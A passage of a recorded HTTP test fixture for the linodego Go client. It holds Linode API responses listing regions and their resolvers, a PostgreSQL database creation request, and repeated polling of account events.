"1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:05:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-postgres-testing-defeb13v51qwn77","region":"ap-west","type":"g6-nanode-1","engine":"postgresql/14","allow_list":["203.0.113.1","192.0.1.0/24"],"cluster_size":3}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances method: POST response: body: '{"allow_list": ["192.0.1.0/24", "203.0.113.1/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "postgresql", "hosts": {"primary": "a210749-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210749-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210749, "label": "go-postgres-testing-defeb13v51qwn77", "members": {}, "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "provisioning", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 6, "duration": 4, "frequency": "weekly", "hour_of_day": 14, "pending": []}, "used_disk_size_gb": null, "version": "14", "platform": "rdbms-default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "720" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:05:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:05:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:05:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:05:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:06:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:06:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:06:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:06:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:07:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:07:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:07:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:05:09"},"entity.id":210749,"entity.type":"database","id":{"+gte":934236408}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934236408, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defeb13v51qwn77", "id": 210749, "type": "database", "url": "/v4/databases/postgresql/instances/210749"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: 